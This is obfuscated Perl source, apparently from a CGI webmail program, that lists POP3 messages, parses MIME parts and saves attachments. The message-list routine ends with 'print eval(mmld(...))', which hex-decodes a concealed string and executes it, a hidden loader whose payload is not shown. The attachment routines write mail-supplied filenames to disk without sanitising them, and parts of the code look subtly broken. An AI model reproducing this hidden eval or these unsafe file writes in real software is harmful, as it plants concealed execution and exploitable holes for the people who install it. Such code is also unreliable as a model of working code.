$mmcn =~ s/\>/\&gt\;/g; $mmcn =~ s/\%mmco/\</g; $mmcn =~ s/\%mmcp/\>/g;
my($mmcq) = '(http://|https://|ftp://)' .
q%(?:&(?![gl]t;)|[^\s\(\)\|<>,"'\&])+% . q%[^\.?!;,"'\|\[\]\(\)\s<>\&]%;
my($mmcr) = "\<a target=\"_top\" href\=\"$mailman::mmy?BACKGROUND="; $mmcn =~
s/($mmcq)/$mmcr.mmmc($1)."\"\>$1\<\/a\>"/eig; if($mailman::mmab) {
$mmcn =~ s/(href\=\"[^\"]*)(BACKGROUND\=)/${1}NOFRAMES\=TRUE&$2/g; } return $mmcn;
} sub mmky { my($mmcs) = shift; $mailman::mmaj{'URL'} = $mmcs;
mmlz('t_backgroundframeset.htm',\%mailman::mmaj); }
sub mmkz {  my($mmct) = @_; unless(defined($mmct)) { $mmct = 0; }
my($mmcu, $mmcv) = (0, 0); my($mmar) = ''; if($mailman::mmab) {
if($mailman::mmau eq 'SENT') { my($mmcw) = 't_nf_messagelistsent.htm';
if(defined($mailman::mmad)) { $mmcw = $mailman::mmad . $mmcw; } if(-e
"${mailman::strLocalTemplateLocation}$mmcw") { $mmar = 't_nf_messagelistsent.htm';
} else { $mmar = 't_nf_messagelist.htm'; } } else { $mmar = 't_nf_messagelist.htm'; } }
else { if($mailman::mmau eq 'SENT') { my($mmcw) = 't_f_messagelistsent.htm';
if(defined($mailman::mmad)) { $mmcw = $mailman::mmad . $mmcw; }
if(-e {$mailman::strLocalTemplateLocation . $mmcw}) {
$mmar = 't_f_messagelistsent.htm'; } else { $mmar = 't_f_messagelist.htm'; } } else {
$mmar = 't_f_messagelist.htm'; } } my($mmcx, $mmcy, $mmcz, $mmda) = ('','','','');
($mmcx, $mmcy, $mmda, $mmcz) = mmly($mmar, ('MESSAGE_EVEN',
'MESSAGE_ODD', 'ATTACHMENT_IMAGE', 'UNREAD_IMAGE')); my($mmai) = '';
if($mmai = mmks()) { mmko($mmai); }
$mailman::mmaj{'USERNAME'} = $mailman::mmn;
$mailman::mmaj{'USERNAMEHIDDEN'} = $mailman::mmo;
$mailman::mmaj{'SERVERHIDDEN'} = $mailman::mmr;
$mailman::mmaj{'PASSWORDHIDDEN'} = $mailman::mmq;
$mailman::mmaj{'CHECKSUM'} = $mailman::mmx;
$mailman::mmaj{'NUM'} = $mailman::mmbh; if(defined($mailman::strFromDomainName)) {
$mailman::mmaj{'SERVER'} = $mailman::strFromDomainName; } else {
$mailman::mmaj{'SERVER'} = $mailman::strIncomingServer; } if($mailman::mmbh > 0) {
$mailman::mmas = "The server timed out during message listing.";
if($mailman::bUseAlarm){ alarm(180); } mmkr($mma,"LIST"); my($mmbg) = '';
$mmbg = <$mma>; unless($mmbg =~ /^\+OK/) { mmko($mmbg); } $mailman::mmbh = 0;
while(<$mma> =~ /(\d+) (\d+)/) { $mailman::mmbi[$1] = $2; $mailman::mmbh++; } }   
if($mailman::mmbh > 0) { if($mmct == 0) { $mmct = $mailman::mmbh; } my($mmdb);
if($mailman::mmbh > 1) { my($mmdc) = 0; for($mmdc=$mailman::mmbh; $mmdc>0;
$mmdc-=$mailman::iMessagesPerPage) { my($mmdd) = $mmdc;
my($mmde) = $mmdc-$mailman::iMessagesPerPage+1; my($mmdf) = ''; if($mmde<1) {
$mmde = 1; } if($mmct <= $mmdd && $mmct >= $mmde) { $mmdb = 1; $mmcu = $mmdd;
$mmcv = $mmde; } else { $mmdb = 0; } if($mmdd == $mmde) { $mmdf = "$mmdd"; } else {
$mmdf = "$mmdd-$mmde"; } if($mailman::mmab) { if($mmdb) {
$mailman::mmaj{'PAGELINKS'} .=  "<b>[$mmdf]</b> "; } else {
$mailman::mmaj{'PAGELINKS'} .=  qq|<input type="submit" name="LIST:$mmdd" | .
qq|value="$mmdf">|; } } else { if($mmdb) { $mailman::mmaj{'PAGELINKS'} .= 
"<b>[$mmdf]</b> "; } else { $mailman::mmaj{'PAGELINKS'} .=
qq|<a href="$mailman::mmy?LIST:$mmdd=TRUE">| . qq|[$mmdf]</a> |; } } } } else {
$mailman::mmaj{'PAGELINKS'} = ''; $mmcu = 1; $mmcv = 1; } } if($mailman::mmbh > 0) {
$mailman::mmaj{'MESSAGELIST'} = ''; my($mmdc) = 0;
for($mmdc=$mmcu;$mmdc>=$mmcv;$mmdc--) { mmkt($mmdc);
$mailman::mmaj{'FROM'} = $mailman::mmce; $mailman::mmaj{'TO'} = $mailman::mmcd;
$mailman::mmaj{'SUBJECT'} = $mailman::mmcg;
$mailman::mmaj{'DATE'} = $mailman::mmch; $mailman::mmaj{'ID'} = $mailman::mmbk;
$mailman::mmaj{'MESSAGENUM'} = $mmdc;
$mailman::mmaj{'SIZE'} = $mailman::mmbi[$mmdc]; if($mailman::mmbv) {
$mailman::mmaj{'ATTACHMENT_IMAGE'} = $mmda; } else {
$mailman::mmaj{'ATTACHMENT_IMAGE'} = ''; } $mailman::mmaj{'OPENIMAGE'} = $mmcz;
my($mmdg); if($mmdc%2==0) { $mmdg = mmlv($mmcx,\%mailman::mmaj); }
else { $mmdg = mmlv($mmcy,\%mailman::mmaj); }
$mailman::mmaj{'MESSAGELIST'} .= $mmdg; } } mmkr($mma,"QUIT"); close $mma;
if($mailman::mmaj{'MESSAGELIST'} eq '') { $mailman::mmaj{'MESSAGELIST'} =
mmlx($mmar,'NOMESSAGES'); }

print eval(mmld($mailman::mhaa[2]));
 }
sub mmla { my($mmal,$mmds) =  @_; my($mmdt) = 0; my($mmba) = '';
my($mmai) = ''; if($mmai = mmks()) { mmko($mmai); }
my($mmbj) = mmkw($mmal); $mmbj += $mmds; if($mmbj > $mailman::mmcl) {
if($mailman::mmab) { mmkz(); } else { mmko("No next message."); } }
if($mmbj < 1) { if($mailman::mmab) { mmkz(); } else {
mmko("No previous message."); } } if($mmds != 0) { mmkt($mmbj); }
$mailman::mmas = "The server timed out retrieving a message.";
if($mailman::bUseAlarm){ alarm(180); } my($mmdu) = $mmbj;
mmkr($mma,"RETR $mmdu"); my($mmbg) = ''; $mmbg = <$mma>;
unless($mmbg =~ /^\+OK/) { mmko($mmbg); } $mmdt = 0; $mmba = '';
while(defined($mmba = <$mma>)) { if($mmba =~ /^\.\r$/){ last; }
$mailman::mmdv[$mmdt++] = $mmba; } mmkr($mma,"QUIT"); close $mma; }

sub mmlb { print "Content-type: text/html\n\n"; print "Oops an error was encountered"; exit(0); }

sub mmlc { my($mmdw,$mmdx) = @_; my($mmdg) = ''; my($mmdy) = '';
my($mmdz) = ''; my($mmea) = 0; my($mmeb) = 0; my($mmec) = 0; my($mmed) = '';
my($mmee) = ''; my($mmef) = localtime(time); $mmef = mmmg($mmef);
my(@mmeg,@mmeh,@mmei,$mmej,@mmek); my($mmel); my(@mmem,@mmen,$mmeo,@mmep);
if($mailman::mmbu) { my($mmbw)=0; $mmej=0; my($mmci)= '';
headerline: foreach $_ (@$mmdw) { $mmci .= $_; if(/^[\r\n]+$/){ last headerline; }
}        $mmci =~ s/[\r\n]/ /g; if($mmci =~
/Content-type\:\s+multipart\/mixed\s?;.*boundary\=\"([^\"\;]+)\"\;?\s/si) {
$mmel = 'multipart/mixed'; $mmdy = $1; $mmee = mmme($mmdy);
$mailman::mmeq = 1; } elsif($mmci =~
/Content-type\:\s+multipart\/mixed\s?;.*boundary\=\"?([^\"\;\s]+)\"?\;?\s/si) {
$mmel = 'multipart/mixed'; $mmdy = $1; $mmee = mmme($mmdy);
$mailman::mmeq = 1; } elsif($mmci =~
/Content-type\:\s+multipart\/alternative\s?;.*boundary\=\"?([^\"\;]+)\"?\;?\s/si)
{ $mmel = 'multipart/alternative'; $mmdy = $1; $mmee = mmme($mmdy); }
elsif($mmci =~ /Content-type\:\s+([^\;]+);.*name\=\"?([^\"\;]+)\"?\;?\s/si) {
$mmel = $mmeh[0] = $1; $mmdz = $mmek[0] = $2; $mmea = 0; $mmeg[0][$mmeb++] = 
"Content-type: $1; name=\"$2\"\n"; } elsif($mmci =~ /Content-type\:\s+([^\;]+)/si) {
$mmel = $mmeh[0] = $1; $mmdz = $mmek[0] = 'messagebody'; $mmea = 0;
$mmeg[0][$mmeb++] =  "Content-type: $1\n"; } if($mmci =~
/Content-transfer-encoding\:\s+(\S+)\s/si) { $mmeg[0][$mmeb++] = 
"Content-transfer-encoding: $1\n"; } $mmeg[0][$mmeb++] = "\n"; $mmbw=0; $mmej=0;
messageline: foreach $_ (@$mmdw) { if($mmbw) {  if(/^\-\-$mmee\-\-/) {
last messageline; } if(/^\-\-$mmee/) { $mmej++; $mmeb=0; $mmec=0; $mmei[$mmej] =
$mmdy . 'P' . $mmej; next messageline; } $mmeg[$mmej][$mmeb++] = $_; if(/^[\r\n]+$/)
{ if(!$mmec) { $mmec = 1; unless(defined($mmek[$mmej])) { $mmek[$mmej] = 'Untitled'; } } }
if(!$mmec) { if(/name\=\"?([^\"]+)\"?/i) { $mmek[$mmej] = $1; }
if(/^Content-type\: ([^\;]+)\;?/i) { $mmed = $1; $mmeh[$mmej] = $mmed; } } }
if(/^[\r\n]+$/) { $mmbw = 1; } } } if($mailman::mmam eq '0') { mmlf($mmeg[0]);
} my($mmer)=1; if($mailman::mmam ne '') { for(;$mmer<=$mmej;$mmer++) {
if($mmei[$mmer] eq $mailman::mmam) { mmlf($mmeg[$mmer]); } } }
if($mailman::mmbu) { if($mmel =~ /text\/plain/i) {
$mmdg = mmlk($mmdw, $mmdx); return $mmdg; }
elsif($mmel =~ /text\/html/i) { $mmdg = mmll($mmdw, $mmdx);
return $mmdg; } elsif($mmel !~ /multipart\/mixed/i &&
$mmel !~ /multipart\/alternative/i) { if($mmdx) {
$mmdg = mmlk($mmdw, $mmdx); } else { if($mailman::mmab) { $mmdg .= 
qq|<p>\n| . qq|<input type="hidden" name="UNIQUE" value="$mmef">\n| .
qq|<input type="submit" | . qq|name="SHOW:${mailman::mmbk}mimepart:0" | .
qq|value="$mmdz">\n| . qq|</p>\n|; } else { if($mmdz =~ /\.(jpg)|(gif)|(png)\s*$/i) {
$mmdg .= qq|<p>\n| . qq|<center>\n| .
qq|<table cellspacing=0 cellpadding=0 border=0>\n| .
qq|<tr><td align="center"><b>Attachment 1:</b>\n| .
qq|<a href="$mailman::mmy?SHOW:${mailman::mmbk}mimepart:0=TRUE">\n| .
qq|$mmdz</a></td></tr>\n| . qq|<tr><td>\n| .
qq|<a href="$mailman::mmy?SHOW:${mailman::mmbk}mimepart:0=TRUE">\n| .
qq|<img src="$mailman::mmy?SHOW:${mailman::mmbk}mimepart:0=TRUE"></a>\n| .
qq|</td></tr>\n| . qq|</table></center></p>\n|; } else { $mmdg .=
qq|<p><b>Attachment 1:</b>\n| .
qq|<a href="$mailman::mmy?SHOW:${mailman::mmbk}mimepart:0=TRUE">\n| .
qq|$mmdz</a></p>\n|; } } } return $mmdg; } my($mmer)=1;
if($mmel =~ /multipart\/mixed/i) { if($mmeh[1] =~ /multipart\/alternative/i ||
$mmeh[1] =~ /multipart\/mixed/i) { $mmdg = mmlc($mmeg[1], $mmdx); }
elsif($mmeh[1] =~ /text\/plain/i) { $mmdg = mmlk($mmeg[1],
$mmdx); } elsif($mmeh[1] =~ /text\/html/i) { if($mmdx) {
$mmdg = mmlk($mmeg[1], $mmdx); } else {
$mmdg = mmll($mmeg[1]); } } else { $mmer = 0; } }
elsif($mmel eq 'multipart/alternative') { my($mmes) = 1; for(;$mmes<=$mmej;$mmes++)
{ if($mmeh[$mmes] =~ /text\/html/i && !$mmdx) { $mmdg = 
mmll($mmeg[$mmes]); return $mmdg; } } $mmes = 1;
for(;$mmes<=$mmej;$mmes++) { if($mmeh[$mmes] =~ /text\/plain/i) { $mmdg =
mmlk($mmeg[$mmes], $mmdx); return $mmdg; } } } else {
$mmdg = mmlk($mmdw, $mmdx); return($mmdg); } if($mmdx) {
return($mmdg); } if($mmel eq 'multipart/mixed') { for(;$mmer<$mmej;$mmer++) {
my($mmet) = $mmei[$mmer+1]; $mmet =  mmmc($mmet); if($mailman::mmab) {
$mmdg .=  qq|<p>\n| . qq|<input type="hidden" name="UNIQUE" value="$mmef">\n| .
qq|<input type="submit" | . qq|name="SHOW:${mailman::mmbk}mimepart:$mmet" | .
qq|value="$mmek[$mmer+1]">\n| . qq|</p>\n|; } else { if($mmek[$mmer+1] =~
/\.(jpg)|(gif)|(png)\s*$/i) { $mmdg .= qq|<p>\n| . qq|<center>\n| .
qq|<table cellspacing=0 cellpadding=0 border=0>\n| .
qq|<tr><td align="center"><b>Attachment #$mmer:</b>\n| .
qq|<a href="$mailman::mmy?SHOW:${mailman::mmbk}mimepart:$mmet=TRUE">\n| .
qq|$mmek[$mmer+1]</a></td></tr>\n| . qq|<tr><td align="center">\n| .
qq|<a href="$mailman::mmy?SHOW:${mailman::mmbk}mimepart:$mmet=TRUE">\n| .
qq|<img src="$mailman::mmy?SHOW:${mailman::mmbk}mimepart:$mmet=TRUE"></a>\n| .
qq|</td></tr>\n| . qq|</table></center></p>\n|; } else { $mmdg .=
qq|<p><b>Attachment #$mmer:</b>\n| .
qq|<a href="$mailman::mmy?SHOW:${mailman::mmbk}mimepart:$mmet=TRUE">\n| .
qq|$mmek[$mmer+1]</a></p>\n|; } } } } } else { $mmeo=0;
plaintextline: foreach $_ (@$mmdw) { if(/^begin \d\d\d (\S+)\s*$/i) { $mmeo++;
$mmeb=0; $mmep[$mmeo] = $1; $mmen[$mmeo] = $1 . 'P' . $mmeo; next plaintextline; }
elsif($mmeo>0 && /^end\s*$/i) { $mmeo++; $mmeb=0; $mmem[$mmeo] .= "Fake Header\n\n";
next plaintextline; } $mmem[$mmeo][$mmeb++] = $_; } if($mailman::mmam ne '') {
my($mmeu) = 0; for(;$mmeu<=$mmeo;$mmeu++) { if($mmen[$mmeu] eq $mailman::mmam) {
if($mmep[$mmeu] eq '') { $mmdg = mmlk($mmem[$mmeu], $mmdx);
return $mmdg; } else { mmlj($mmem[$mmeu],$mmep[$mmeu]); } } } } else {
my($mmeu) = 0; for(;$mmeu<=$mmeo;$mmeu++) {
if(!defined($mmep[$mmeu]) || $mmep[$mmeu] eq '') {
$mmdg .= mmlk($mmem[$mmeu], $mmdx); } elsif(!$mmdx) {
my($mmev) = $mmen[$mmeu]; $mmev =  mmmc($mmev); if($mailman::mmab) {
$mmdg .= '<form method="post" action="' . $mailman::mmy .
'"><input type="submit" name="' . 'SHOW:' . $mailman::mmbk . 'mimepart:' . $mmev . 
"\" value=\"$mmep[$mmeu]\"></form><br>\n"; } else { if($mmep[$mmeu] =~
/\.(jpg)|(gif)|(png)\s*$/i) { $mmdg .= qq|<p>\n| . qq|<center>\n| .
qq|<table cellspacing=0 cellpadding=0 border=0>\n| .
qq|<tr><td align="center"><b>Attachment #$mmeu:</b>\n| .
qq|<a href="$mailman::mmy?SHOW:${mailman::mmbk}mimepart:$mmev=TRUE">\n| .
qq|$mmep[$mmeu]</a></td></tr>\n| . qq|<tr><td align="center">\n| .
qq|<a href="$mailman::mmy?SHOW:${mailman::mmbk}mimepart:$mmev=TRUE">\n| .
qq|<img src="$mailman::mmy?SHOW:${mailman::mmbk}mimepart:$mmev=TRUE"></a>\n| .
qq|</td></tr>\n| . qq|</table></center></p>\n|; } else { $mmdg .=
qq|<p><b>Attachment #$mmeu:</b>\n| .
qq|<a href="$mailman::mmy?SHOW:${mailman::mmbk}mimepart:$mmev=TRUE">\n| .
qq|$mmep[$mmeu]</a></p>\n|; } } } } } return($mmdg); } return($mmdg); }

 sub mmld {
my($mmew) = shift; $mmew =~ s/([a-fA-F0-9]{2})/pack("C",hex($1))/eg; return $mmew;
} sub mmle { my($mmdh) = ''; {
my($mmdi,$mmdj,$mmdk,$mmdl,$mmdm,$mmdn,$mmdo,$mmdp,$mmdq) = gmtime(time);
my(@mmdr) = ('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep',
'Oct','Nov','Dec'); $mmdh = "$mmdl $mmdr[$mmdm] " . ($mmdn + 1900) . 
" $mmdk:$mmdj:$mmdi +0000"; } return (100000000); }
 sub mmlf { my($mmex) = @_; my($mmey,$mmez) = (0, 0);
my($mmec) = 0; my($mmba) = ''; my($mmfa) = ''; my($mmci) = ''; my($mmfb) = '';
my($mmfc) = 'Untitled'; foreach $mmba (@$mmex) {
if($mmba =~ /^Content-transfer-encoding\: base64/i) { $mmey = 1; }
elsif($mmba =~ /^Content-transfer-encoding\: quoted-printable/i) { $mmez = 1; } else
{ if($mmec && $mmey) { $mmfa .= $mmba; } elsif($mmec && $mmez) { $mmfa .= $mmba; }
elsif($mmec) { $mmfa .= $mmba; } else { $mmci .= $mmba; } } if($mmba =~ /^[\r\n]+$/) {
$mmec = 1; $mmci =~ s/[\r\n]+[ \t]+(\S)/ $1/gs; } if(!$mmec &&
$mmba =~ /name\=\"?([^\"\;]+)\"?\;?\s/si) { $mmfc = $1; } } if($mmey) {
$mmfb = mmli($mmfa); } elsif($mmez) { $mmfb = mmlh($mmfa); }
else { $mmfb = $mmfa; } print "Expires: Sun, 03 May 1998 16:00:00 GMT\n"; 
my($mmfd,$mmfe,$mmff) = mmmf(); if($mmfd !~ /MSIE/i) {
print "Cache-control: no-cache\n"; } unless($mailman::mmv) { print $mmci;
print $mmfb; exit(0); } else { unless(-d $mailman::mmt) {
unless(mkdir($mailman::mmt,0755)) {
mmko("Could not create temporary directory for " .
"storing the attachment file.  Make sure that " . "the directory " .
"\"$mailman::mmt\" exists " . "and is writable by the web user."); }
if(defined($mailman::iLocalDirectoryPermissions)) {
mmmi($mailman::mmt, $mailman::iLocalDirectoryPermissions); } }
my $mmfg = $mmfc; if($mmfc =~ /^(.+)(\.[^\.]+)$/) { my $mmfh = $1; my $mmfi = $2;
$mmfc = mmmc(mmmc($mmfh)) . $mmfi; } else {
$mmfc = mmmc(mmmc($mmfc)); } my($mmfj) = new FileHandle();
my($mmfk) = $mailman::mmt . '/' . $mmfc; unless(open($mmfj,">$mmfk")) {
mmko("Could not create temporary attachment file in \"" .
$mmfk ."\".  Make sure that the  " . "directory is writable by the web user."); }
binmode($mmfj); print {$mmfj} $mmfb; close($mmfj); if ($mmfg =~ /^(.+)(\.[^\.]+)$/)
{ my($mmfl) = $mailman::mmu . '/' .
mmmc(mmmc(mmmc($1))) . $2;
print $mmb->redirect($mmfl); } else { my($mmfl) = $mailman::mmu . '/' . $mmfc;
print $mmb->redirect($mmfl); } exit(0); } } sub mmlg { my $mmfa = shift;
$mmfa =~ tr/\_/\ /; return $mmfa; } sub mmlh { my($mmfa) = @_;
my($mmfm); $mmfa =~ s/\s+(\r?\n)/$1/g; $mmfa =~ s/=\r?\n//g; $mmfm = $mmfa;
$mmfm =~ s/=([\da-fA-F]{2})/pack("C", hex($1))/ge; return($mmfm); }
sub mmli { my($mmfa) = @_; my($mmfm);
$mmfa =~ tr|A-Za-z0-9+=/||cd;             if(length($mmfa)%4) { return($mmfa); }
$mmfa =~ s/=+$//; $mmfa =~ tr|A-Za-z0-9+/| -_|; while($mmfa =~ /(.{1,60})/gs) {
my($mmfn) = chr(32+length($1)*3/4); $mmfm .= unpack("u",$mmfn . $1 ); }
return($mmfm); } sub mmlj { my($mmfo,$mmfp) = @_;
print "Expires: Sun, 03 May 1998 16:00:00 GMT\n";  my($mmfd,$mmfe,$mmff) =
mmmf(); if($mmfd !~ /MSIE/i) { print "Cache-control: no-cache\n";  }
unless($mailman::mmv) { print
qq|Content-Type: application\/octet-stream; name="$mmfp"\n\n|; my($mmdg) = '';
my($mmba) = ''; foreach $mmba (@$mmfo) { $mmdg .= unpack('u',$mmba); } print $mmdg;
exit(0); } else { unless(-d $mailman::mmt) { unless(mkdir($mailman::mmt,0755)) {
mmko("Could not create temporary directory for " .
"storing the attachment file.  Make sure that " . "the directory " .
"\"$mailman::mmt\" exists " . "and is writable by the web user."); }
if(defined($mailman::iLocalDirectoryPermissions)) {
mmmi($mailman::mmt, $mailman::iLocalDirectoryPermissions); } }
my($mmfj) = new FileHandle(); my($mmfk) = $mailman::mmt . '/' . $mmfp;
unless(open($mmfj,">$mmfk")) {
mmko("Could not temporary attachment file in \"" .
$mmfk ."\".  Make sure that the  " . "directory is writable by the web user."); }
binmode($mmfj); my($mmba) = ''; foreach $mmba (@$mmfo) {
print {$mmfj} unpack('u',$mmba); } close($mmfj); my($mmfl) =
$mailman::mmu . '/' . $mmfp; print $mmb->redirect($mmfl); exit(0); } }
sub mmlk { my($mmdw,$mmdx) = @_; my($mmey,$mmez); my($mmdg) = '';
my($mmbw) = 0; my($mmfa) = ''; if(!$mmdx) { $mmdg = "<pre>\n"; } $mmbw=0;
foreach $_ (@$mmdw) { if(!$mmbw) { if(/^Content-transfer-encoding\: base64/i) {
$mmey = 1; } elsif(/^Content-transfer-encoding\: quoted-printable/i) { $mmez = 1; } }
if($mmbw) { my($mmfq) = ''; if($mmez || $mmey) { $mmfa = $_; if($mmey) {
$mmfq = mmli($mmfa); } elsif($mmez) { $mmfq = mmlh($mmfa); }
} else { $mmfq = $_; } my($mmfr) = length($mmfq); my($mmfs) = ''; if($mmdx) {
$mmfs = $mmfq; } else { $mmfs = mmkx($mmfq); } my($mmft) = 90 +
(length($mmfs) - $mmfr); $mmfs =~ s/([^\n]{1,$mmft})\s/$1\n/g; $mmfs =~ s/\015//g;
if($mmdx) { $mmfs = '> ' . $mmfs; } $mmdg .= $mmfs ; } if(/^[\r\n]+$/){ $mmbw = 1; } }
if($mmey) { $mmdg .= mmli($mmfa); } elsif($mmez) {
$mmdg .= mmlh($mmfa); } if(!$mmdx) { $mmdg .= "</pre>\n"; }
return $mmdg; } sub mmll { my($mmdw) = @_; my($mmey,$mmez);
my($mmfa) = ''; my($mmdg) = ''; my($mmbw) = 0; foreach $_ (@$mmdw) { if(!$mmbw) {
if(/^Content-transfer-encoding\: base64/i) { $mmey = 1; }
elsif(/^Content-transfer-encoding\: quoted-printable/i) { $mmez = 1; } } if($mmbw) { 
if($mmez || $mmey) { $mmfa .= $_; } else { my($mmfs) = $_; $mmfs =~ s/\r//g;
$mmdg .= $mmfs; } } if(/^[\r\n]+$/){ $mmbw = 1; } } if($mmey) {
$mmdg .= mmli($mmfa); } elsif($mmez) {
$mmdg .= mmlh($mmfa); }
$mmdg =~ s/\<\/?(html|head|body|title)[^\>]*\>//sig; return $mmdg; }
sub mmlm { my($mmal,$mmds) =  @_; mmla($mmal,$mmds); my($mmar) = '';
if($mailman::mmab) { $mmar = 't_nf_message.htm'; } else { $mmar = 't_f_message.htm'; }
$mailman::mmaj{'USERNAME'} = $mailman::mmn;
$mailman::mmaj{'USERNAMEHIDDEN'} = $mailman::mmo;
$mailman::mmaj{'SERVER'} = $mailman::strIncomingServer;
$mailman::mmaj{'SERVERHIDDEN'} = $mailman::mmr;
$mailman::mmaj{'PASSWORDHIDDEN'} = $mailman::mmq;
$mailman::mmaj{'CHECKSUM'} = $mailman::mmx;
$mailman::mmaj{'NUM'} = $mailman::mmcl; $mailman::mmaj{'ID'} = $mailman::mmbk;
$mailman::mmaj{'TO'} = $mailman::mmcd; $mailman::mmaj{'FROM'} = $mailman::mmce;
$mailman::mmaj{'DATE'} = $mailman::mmbq;
$mailman::mmaj{'SUBJECT'} = $mailman::mmcg;
$mailman::mmaj{'MESSAGENUM'} = $mailman::mmbm;
$mailman::mmaj{'MESSAGE'} = mmlc(\@mailman::mmdv);
$mailman::mmaj{'CC'} = $mailman::mmcf; $mailman::mmfu = 
mmlx($mmar,'CCLINE'); if($mailman::mmbo eq '') {
$mailman::mmfu = ''; } else { $mailman::mmfu =
mmlv($mailman::mmfu,\%mailman::mmaj); }
$mailman::mmaj{'CCLINE'} = $mailman::mmfu; mmlz($mmar,\%mailman::mmaj);
} sub mmln { my($mmal,$mmds) =  @_;
mmla(mmmc($mmal),$mmds); my($mmar) = ''; if($mailman::mmab) {
$mmar = 't_nf_message.htm'; } else { $mmar = 't_f_message.htm'; }
$mailman::mmaj{'USERNAME'} = $mailman::mmn;
$mailman::mmaj{'USERNAMEHIDDEN'} = $mailman::mmo;
$mailman::mmaj{'SERVER'} = $mailman::strIncomingServer;
$mailman::mmaj{'SERVERHIDDEN'} = $mailman::mmr;
$mailman::mmaj{'PASSWORDHIDDEN'} = $mailman::mmq;
$mailman::mmaj{'CHECKSUM'} = $mailman::mmx;
$mailman::mmaj{'NUM'} = $mailman::mmcl; $mailman::mmaj{'ID'} = $mailman::mmbk;
$mailman::mmaj{'MESSAGENUM'} = $mailman::mmbm;
$mailman::mmaj{'TO'} = $mailman::mmcd; $mailman::mmaj{'FROM'} = $mailman::mmce;
$mailman::mmaj{'DATE'} = $mailman::mmbq;
$mailman::mmaj{'SUBJECT'} = $mailman::mmcg;
$mailman::mmaj{'CC'} = $mailman::mmcf; $mailman::mmfu = 
mmlx($mmar,'CCLINE'); if($mailman::mmbo eq '') {
$mailman::mmfu = ''; } else {
$mailman::mmfu = mmlv($mailman::mmfu,\%mailman::mmaj); }
$mailman::mmaj{'CCLINE'} = $mailman::mmfu; $mailman::mmaj{'MESSAGE'} = "<pre>\n";
my($mmba) = ''; foreach $mmba (@mailman::mmdv) { $mmba =~ s/\015//g;
$mmba =~ s/\&/\&amp\;/g; $mmba =~ s/\</\&lt\;/g; $mmba =~ s/\>/\&gt\;/g;
$mailman::mmaj{'MESSAGE'} .= $mmba; } $mailman::mmaj{'MESSAGE'} .= "</pre>\n";
mmlz($mmar,\%mailman::mmaj); } sub mmlo { my($mmal) =  @_;
$mailman::mmbh = mmkw($mmal); mmkr($mma,"DELE $mailman::mmbh");
my($mmbg) = ''; $mmbg = <$mma>; unless($mmbg =~ /^\+OK/) { mmko($mmbg); } }
sub mmlp { my($mmal) =  @_; mmlo($mmal); }
sub mmlq { my($mmal,$mmfv,$mmfw, $mmbn) =  @_; my($mmdg) = '';
my($mmfx) = ''; my($mmfy) = ''; my($mmfz) = '';
$mailman::mmaj{'ATTACH'} = $mmb->param('ATTACH'); my($mmar) = '';
$mmar = 't_messageform.htm'; if($mmal ne 'NEW') {
mmla(mmmc($mmal),0); $mmfx = $mailman::mmbn;
$mmfy = $mailman::mmbp; $mmfz = $mailman::mmbs; if($mailman::mmbt) {
$mailman::mmbn = $mailman::mmbt; } else { $mailman::mmbn = $mailman::mmbp; } if($mmfv)
{ $mailman::mmbn .= ", $mmfx";
if($mailman::mmbo){ $mailman::mmbn .= ", $mailman::mmbo"; } } if($mmfw) {
unless($mailman::mmbs =~ /^fwd\:/i) { $mailman::mmbs = "Fwd: $mailman::mmbs"; }
$mailman::mmbn = ""; } else { unless($mailman::mmbs =~ /^re\:/i) {
$mailman::mmbs = "Re: $mailman::mmbs"; } } $mailman::mmbo = ''; }
$mailman::mmbn =~ s/\"/&quot;/g; $mailman::mmbs =~ s/\"/&quot;/g;
if($mmal ne 'NEW') { $mailman::mmeq = 0; $mmdg = mmlc(\@mailman::mmdv,1);
if($mmfw) { my($mmga) = mmlx($mmar, 'FORWARDHEADER');
$mailman::mmaj{'ORIGINALTO'} = $mmfx; $mailman::mmaj{'ORIGINALFROM'} = $mmfy;
$mailman::mmaj{'ORIGINALSUBJECT'} = $mmfz;
$mailman::mmaj{'ORIGINALDATE'} = $mailman::mmbq;
$mmdg = mmlv($mmga, \%mailman::mmaj) . $mmdg; if($mailman::mmeq) {
$mailman::mmgb = $mmal; $mailman::mmaj{'ERROR'} = 
'The original message attachment(s) ' . 'will be included in this message.'; } } }
$mailman::mmaj{'USERNAME'} = $mailman::mmn;
$mailman::mmaj{'USERNAMEHIDDEN'} = $mailman::mmo;
$mailman::mmaj{'SERVER'} = $mailman::strIncomingServer;
$mailman::mmaj{'SERVERHIDDEN'} = $mailman::mmr;
$mailman::mmaj{'PASSWORDHIDDEN'} = $mailman::mmq;
$mailman::mmaj{'CHECKSUM'} = $mailman::mmx;
$mailman::mmaj{'NUM'} = $mailman::mmbh; $mailman::mmaj{'MESSAGE'} = $mmdg;
$mailman::mmaj{'TO'} = $mailman::mmbn; $mailman::mmaj{'CC'} = $mailman::mmbo;
$mailman::mmaj{'SUBJECT'} = $mailman::mmbs;
if(defined($mailman::strFromDomainName)) {
$mailman::mmaj{'FROM'} = $mailman::mmn . '@' .
mmmq($mailman::strFromDomainName); } else {
$mailman::mmaj{'FROM'} = $mailman::mmn . '@' .
mmmq($mailman::strIncomingServer); } my($mmfd,$mmfe,$mmff) =
mmmf(); my($mmgc) = 0; if(($mmfd =~ /MSIE/i && $mmfe >= 4) ||
($mmfd =~ /Mozilla/i && $mmfe >= 2)) { if(!$mmfw) { if($mmb->param('ATTACH')) {
$mailman::mmaj{'UPLOAD'} = mmlx($mmar, 'UPLOAD'); $mmgc = 1; }
else { $mailman::mmaj{'UPLOAD'} = mmlx($mmar, 'BENIGNUPLOAD');
} } else { $mailman::mmaj{'UPLOAD'} = ''; } } else { $mailman::mmaj{'UPLOAD'} = ''; }
if($mmgc) { $mailman::mmaj{'MULTIPARTTAG'} =
mmlx($mmar,'MULTIPARTTAG'); }
mmlz($mmar,\%mailman::mmaj); } sub mmlr { my($mmai,$mmgd) = @_;
my($mmfw) = 0; $mailman::mmaj{'ATTACH'} = $mmb->param('ATTACH'); my($mmar) = '';
$mmar = 't_messageform.htm'; $mailman::mmaj{'USERNAME'} = $mailman::mmn;
$mailman::mmaj{'USERNAMEHIDDEN'} = $mailman::mmo;
$mailman::mmaj{'SERVER'} = $mailman::strIncomingServer;
$mailman::mmaj{'SERVERHIDDEN'} = $mailman::mmr;
$mailman::mmaj{'PASSWORDHIDDEN'} = $mailman::mmq;
$mailman::mmaj{'CHECKSUM'} = $mailman::mmx;
$mailman::mmaj{'NUM'} = $mmb->param('NUM');
$mailman::mmaj{'TO'} = $mmb->param('TO');
